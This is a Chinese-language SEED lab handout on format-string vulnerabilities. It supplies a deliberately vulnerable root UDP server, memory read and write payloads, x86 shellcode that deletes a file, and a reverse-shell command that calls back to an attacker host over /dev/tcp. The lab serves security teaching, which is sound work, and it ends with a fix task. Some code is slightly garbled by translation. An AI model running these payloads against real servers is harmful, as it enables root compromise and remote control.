目录
- Lab Overview
- Lab Tasks
- Task 1: The Vulnerable Program
- Task 2: Understanding the Layout of the Stack
- Task 3: Crash the Program
- Task 4: Print Out the Server Program’s Memory
- Task 5: Change the Server Program’s Memory
- Task 6: Inject Malicious Code into the Server Program
- Task 7: Getting a Reverse Shell
- Task 8: Fixing the Problem
- Submission
Lab Overview
C语言中的printf()函数用于按照格式打印出字符串。它的第一个参数称为格式字符串,它定义了字符串的格式。格式字符串使用 % 字符标记的占位符供 prinf() 函数在打印期间填充数据。格式字符串的使用不仅限于 printf() 函数;许多其他函数,例如 sprintf()、fprintf() 和 scanf(),也使用格式字符串。某些程序允许用户以格式字符串提供全部或部分内容。如果此类内容未经清理,恶意用户可以利用此机会让程序运行任意代码。像这样的问题称为格式字符串漏洞。
本实验的目标是让学生通过将在课堂上学到的有关漏洞的知识付诸实践,获得有关格式字符串漏洞的第一手经验。学生将获得一个存在格式字符串漏洞的程序;他们的任务是利用该漏洞实现以下破坏:(1)使程序崩溃,(2)读取程序的内部存储器,(3)修改程序的内部存储器,最严重的是,(4)注入并利用受害者程序的权限执行恶意代码。如果易受攻击的程序是特权程序(例如 root 守护程序),最后的后果将非常危险,因为这可以为攻击者提供系统的 root 访问权限。本实验室涵盖以下主题:
• Format string vulnerability
• Code injection
• Shellcode
• Reverse shell
Lab Tasks
为了简化本实验中的任务,我们使用以下命令关闭地址随机化:
$ sudo sysctl -w kernel.randomize_va_space=0
Task 1: The Vulnerable Program
您将获得一个存在格式字符串漏洞的易受攻击的程序。该程序是一个服务器程序。当它运行时,它监听 UDP 端口 9090。每当 UDP 数据包到达此端口时,程序就会获取数据并调用 myprint() 打印数据。服务器是 root 守护进程,即它以 root 权限运行。 myprintf() 函数内部存在格式字符串漏洞。我们将利用该漏洞来获取root权限。
Listing 1: ”The vulnerable server program”
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#define PORT 9090
char *secret = "A secret message\n";
unsigned int target = 0x11223344;
void myprintf(char *msg)
{
printf("The address of the ’msg’ argument: 0x%.8x\n", (unsigned) &msg);
// This line has a format-string vulnerability printf(msg);
printf("The value of the ’target’ variable (after): 0x%.8x\n", target);
}
// This function provides some helpful information. It is meant to
// simplify the lab task. In practice, attackers need to figure
// out the information by themselves.
void helper()
{
printf("The address of the secret: 0x%.8x\n", (unsigned) secret);
printf("The address of the ’target’ variable: 0x%.8x\n", (unsigned) &target);
printf("The value of the ’target’ variable (before): 0x%.8x\n", target);
}
void main()
{
struct sockaddr_in server;
struct sockaddr_in client;
int clientLen;
char buf[1500];
helper();
int sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
memset((char *) &server, 0, sizeof(server));
server.sin_family = AF_INET;
server.sin_addr.s_addr = htonl(INADDR_ANY);
server.sin_port = htons(PORT);
if (bind(sock, (struct sockaddr *) &server, sizeof(server)) < 0)
perror("ERROR on binding");
while (1)
{
bzero(buf, 1500);
recvfrom(sock, buf, 1500-1, 0, (struct sockaddr *) &client, &clientLen);
myprintf(buf);
}
close(sock);
}
汇编。编译上述程序。您将收到一条警告消息。此警告消息是 gcc 编译器针对格式字符串漏洞实施的对策。我们现在可以忽略这个警告消息。
$ gcc -z execstack -o server server.c server.c:
In function myprintf: server.c:13:5: warning: format not a string literal and no format arguments [-Wformat-security] printf(msg);
需要注意的是,程序需要使用“-z execstack”选项进行编译,该选项允许堆栈可执行。此选项对任务 1 至 5 没有影响,但对于任务 6 和 7 来说,它很重要。在这两个任务中,我们需要将恶意代码注入到该服务器程序的堆栈空间中;如果堆栈不可执行,任务 6 和 7 将失败。不可执行堆栈是针对基于堆栈的代码注入攻击的对策,但可以使用返回到 libc 技术来击败它。为了简化这个实验,我们简单地禁用这个可失败的对策。
运行并测试服务器。本实验的理想设置是在一台虚拟机上运行服务器,然后从另一台虚拟机发起攻击。但是,如果学生在本实验中使用一台虚拟机也是可以接受的。在服务器虚拟机上,我们使用 root 权限运行服务器程序。我们假设该程序是特权根守护程序。服务器监听9090端口。在客户端VM上,我们可以使用nc命令连接到服务器,其中标志“-u”表示UDP(服务器程序是UDP服务器)。以下示例中的 IP 地址应替换为服务器 VM 的实际 IP 地址,如果客户端和服务器运行在同一 VM 上,则替换为 127.0.0.1。
// On the server VM
$ sudo ./server
// On the client VM
$ nc -u 10.0.2.5 9090
message typed by you
您可以在客户端输入任何消息;服务器程序应该打印出您输入的任何内容。然而,服务器程序的 myprintf() 函数中存在格式字符串漏洞,这允许我们让服务器程序做比它应该做的更多的事情,包括给我们对服务器机器的根访问权限。在本实验的其余部分中,我们将利用此漏洞。
Task 2: Understanding the Layout of the Stack
为了在本实验中取得成功,必须了解在 myprintf() 内部调用 printf() 函数时的堆栈布局。图 1 描述了堆栈布局。你需要进行一些调查和计算,然后回答以下问题:
问题1:1,2,3 标记位置的内存地址是多少?
问题2: 1和3标记的位置之间的距离是多少?
Task 3: Crash the Program
此任务的目标是向服务器提供输入,这样当服务器程序尝试在 myprintf() 函数中打印出用户输入时,它将崩溃。
Task 4: Print Out the Server Program’s Memory
此任务的目标是让服务器从其内存中打印出一些数据。数据会在服务器端打印出来,因此攻击者无法看到。因此,这不是一次有意义的攻击,但该任务中使用的技术对于后续任务至关重要。
任务 4.A:堆栈数据。目标是打印出堆栈上的数据(任何数据都可以)。您需要提供多少个格式说明符才能让服务器程序打印出输入的前四个字节?
任务4.B:堆数据 堆区域中存储着一条秘密消息,并且你知道它的地址;你的工作是打印出秘密消息的内容。为了实现这一目标,您需要将秘密消息的地址(二进制形式)放入输入(即格式字符串)中,但在终端内输入二进制数据很困难。我们可以使用以下命令来做到这一点。
$ echo $(printf "\x04\xF3\xFF\xBF")%.8x%.8x | nc 127.0.0.1 9090
// Or we can save the data in a file
$ echo $(printf "\x04\xF3\xFF\xBF")%.8x%.8x > input
$ nc 127.0.0.1 9090 < input
需要注意的是,大多数计算机都是小端机器,因此要在内存中存储地址0xAABBCCDD(32位机器上的四个字节),最低有效字节0xDD存储在低地址,而最高有效字节0xAA存储在高地址中。因此,当我们将地址存储在缓冲区中时,我们需要按照以下顺序保存:0xDD、0xCC、0xBB、然后0xAA。
Task 5: Change the Server Program’s Memory
此任务的目标是修改服务器程序中定义的目标变量的值。它的原始值为0x11223344。假设这个变量有一个重要的值,它可以影响程序的控制流。如果远程攻击者可以更改其值,他们就可以更改该程序的行为。我们有三个子任务。
任务 5.A:将该值更改为不同的值。在这个子任务中,我们需要将目标变量的内容更改为其他内容。如果您可以将任务更改为不同的值,则无论其值是多少,都将其视为成功。
任务 5.B:将值更改为 0x500。在这个子任务中,我们需要将目标变量的内容更改为特定值0x500。仅当变量的值变为 0x500 时,您的任务才被视为成功。
任务 5.C:将值更改为 0xFF990000。该子任务与上一个子任务类似,只是目标值现在是一个很大的数字。在格式字符串攻击中,该值是 printf() 函数打印出的字符总数;打印出如此大量的字符可能需要几个小时。您需要使用更快的方法。基本思想是使用%hn,而不是%n,这样我们就可以修改两个字节的内存空间,而不是四个字节。打印出 216 个字符并不需要太多时间。我们可以将目标变量的内存空间分成两块内存,每块有两个字节。我们只需要将一个块设置为0xFF99,将另一个块设置为0x0000。这意味着在您的攻击中,您需要在格式字符串中提供两个地址。
在格式字符串攻击中,将内存空间的内容更改为非常小的值是相当具有挑战性的(请在报告中解释原因); 0x00 是一个极端情况。为了实现这个目标,我们需要使用溢出技术。基本思想是,当我们使一个数字大于存储允许的值时,只存储该数字的较低部分(基本上,存在整数溢出)。例如,如果将数字216 + 5存储在16位内存空间中,则只会存储5。因此,要达到零,我们只需要将数字变为 216 = 65, 536。
Task 6: Inject Malicious Code into the Server Program
现在我们准备好攻击这次攻击的皇冠上的宝石,即向服务器程序注入一段恶意代码,这样我们就可以从服务器上删除一个文件。这项任务将为我们下一步的任务奠定基础,这是获得服务器计算机的完全控制权。
为了完成这个任务,我们需要将一段恶意代码以二进制格式注入到服务器内存中,然后利用格式字符串漏洞修改函数的返回地址字段,这样当函数返回时就会跳转到我们注入的代码。为了删除文件,我们希望恶意代码使用shell程序执行/bin/rm命令,例如/bin/bash。这种类型的代码称为 shellcode。
/bin/bash -c "/bin/rm /tmp/myfile"
我们需要使用 execve() 系统调用来执行上述 shellcode 命令,这意味着我们需要将以下参数提供给 execve():
execve(address to the "/bin/bash" string, address to argv[], 0),
where argv[0] = address to the "/bin/bash" string,
argv[1] = address to the "-c" string,
argv[2] = address to the "/bin/rm /tmp/myfile" string,
argv[3] = 0
我们需要编写机器代码来调用execve()系统调用,这意味着我们需要设置以下四个寄存器,然后调用int 0x80指令。
eax = 0x0B (execve()’s system call number)
ebx = address to the "/bin/bash" string (argument 1)
ecx = address to argv[] (argument 2)
edx = 0 (argument 3, for environment variables; we set it to NULL)
在 shellcode 中设置这四个寄存器非常具有挑战性,主要是因为代码中不能有任何零(字符串中的零终止字符串)。我们在下面提供了 shellcode。 shellcode 的详细解释可以在 Buffer-Overflow Lab 和 SEED 书的第 4.6 章中找到。
Listing 2: Shellcode (/bin/bash -c “/bin/rm /tmp/myfile”)
// Push "/binbash" into stack.
"\x31\xc0" // xorl %eax, %eax : eax = 0
"\x50" // pushl $eax : 0 marks the end of a string
"\x68""bash" // pushl "bash"
"\x68""" // pushl "" : "" is equivalent to "/"
"\x68""/bin" // pushl "/bin"
"\x89\xe3" // movl %esp, %ebx : Save the string address to ebx
// Push "-ccc" into stack.
"\x31\xc0" // xorl %eax, %eax " eax = 0
"\x50" // pushl $eax : 0 marks the end of a string
"\x68""-ccc" // pushl "-ccc" : "-ccc" is equivalent to "-c"
"\x89\xe0" // movl %esp, %eax : Save the string address to eax
// Push "/bin/rm /tmp/myfile " into stack.
"\x31\xd2" // xorl %edx, %edx : edx = 0
"\x52" // pushl %edx : 0 marks the end of a string
"\x68""ile " // pushl "ile " 1
"\x68""/myf" // pushl "/myf"
"\x68""/tmp" // pushl "/tmp"
"\x68""/rm " // pushl "/rm "
"\x68""/bin" // pushl "/bin" 2
"\x89\xe2" // movl %esp,%edx : Save the string address to edx
// Construct the argv[] array.
"\x31\xc9" // xorl %ecx, %ecx
"\x51" // pushl %ecx : argv[3] = 0
"\x52" // pushl %edx : argv[2] = address of "/bin/rm ..."
"\x50" // pushl %eax : argv[1] = address of "-c"
"\x53" // pushl %ebx : argv[0] = address of "/bin/bash"
"\x89\xe1" // movl %esp, %ecx : Save argv[]’s address to ecx
// Set edx to 0.
"\x31\xd2" // xorl %edx, %edx : Let edx = 0
// Invoke the system call.
"\x31\xc0" // xorl %eax, %eax
"\xb0\x0b" // movb $0x0b, %al : 0x0b is execve()’s number
"\xcd\x80" // int 0x80 : Invoke the execve() system call
您需要注意 1和 2行的代码。这是我们将 /bin/rm 命令字符串推入缓冲区的地方。在本次任务中,您不需要修改这部分内容,但在下一个任务中,您需要修改它。 Pushl指令只能将32位整数压入堆栈;这就是为什么我们将字符串分成几个 4 字节块。由于这是一个 shell 命令,因此添加额外的空格不会改变该命令的含义;因此,如果字符串的长度不能被四整除,您可以随时添加额外的空格。堆栈从高地址向低地址增长(即反向),因此我们需要将字符串也反向推入堆栈。
在shellcode中,当我们将“/bin/bash”存储到堆栈中时,我们存储的是“/binbash”,其长度为12,是4的倍数。额外的“/”被execve忽略( )。类似地,当我们将“-c”存储到堆栈中时,我们存储“-ccc”,将长度增加到4。对于bash,这些额外的c被认为是多余的。
上面显示的代码适用于 C 程序,我们将机器代码存储到数组中。对于此任务,我们可以直接在命令中键入二进制代码(使用 \x),如下所示(无需在指令之间键入引号)。需要注意的是,我们可以将 NOP (\0x90) 放在 shellcode 的开头,以使我们的生活更轻松(为什么?请在报告中解释)。
$ echo ...(your format string)...$(printf "\x90\x90\x90\x90\x31\xc0 ... \x31\xd2\x52\68ile \x68/myf\x68/tmp\x68/rm \x68/bin\x89\xe2 ... \xcd\x80")
请构建您的输入,将其提供给服务器程序,并证明您可以成功删除目标文件。在你的实验报告中,你需要解释你的格式字符串是如何构造的。请在图1中标明您的恶意代码存放位置(请提供具体地址)。
Task 7: Getting a Reverse Shell
当攻击者能够使用 TCP 会话劫持将命令注入受害者的计算机时,他们对在受害者计算机上运行一个简单的命令不感兴趣;他们对运行许多命令感兴趣。攻击者想要达到的目的就是利用这次攻击设置一个后门,然后利用这个后门方便地进行进一步的破坏。
设置后门的典型方法是从受害计算机运行反向 shell,为攻击者提供对受害计算机的 shell 访问权限。反向 shell 是在远程计算机上运行的 shell 进程,连接回攻击者的计算机。这为攻击者提供了一种在远程计算机受到威胁后访问远程计算机的便捷方法。第 3 章提供了反向 shell 如何工作的说明SEED 书的内容。还可以在 Shellshock 攻击实验室和 TCP 攻击实验室的指南部分中找到它。
为了获得反向 shell,我们需要首先在攻击者机器上运行 TCP 服务器。该服务器等待我们的恶意代码从受害者服务器计算机回调。以下 nc 命令创建侦听端口 7070 的 TCP 服务器:
$ nc -l 7070 -v
您需要修改清单 2 中列出的 shellcode,因此您的 shellcode 不运行使用 bash 的 /bin/rm 命令,而是运行以下命令。该示例假设攻击者计算机的 IP 地址是 10.0.2.5,因此您需要在代码中更改 IP 地址:
/bin/bash -c "/bin/bash -i > /dev/tcp/10.0.2.5/7070 0<&1 2>&1"
只需要修改1 和2行之间的代码,这样上面的“/bin/bash -i …”命令就会由 shellcode 执行,而不是 /bin/rm 命令。完成 shellcode 后,您应该构建格式字符串,将其作为输入发送到受害者服务器。如果攻击成功,您的 TCP 服务器应该会收到回调,并且您将在受害者计算机上获得 root shell。请在报告中提供成功的证据(包括屏幕截图)。
Task 8: Fixing the Problem
还记得 gcc 编译器生成的警告消息吗?请解释一下这是什么意思。请修复服务器程序中的漏洞,并重新编译。编译器警告消失了吗?你的攻击还有效吗?您只需尝试其中一种攻击即可查看它是否仍然有效。
Submission
您需要提交一份详细的实验室报告,并附有屏幕截图,以描述您所做的事情以及观察到的情况。您还需要对有趣或令人惊讶的观察结果提供解释。另请列出重要的代码片段(如果有)并附上解释。简单地附加代码而不做任何解释将不会获得积分。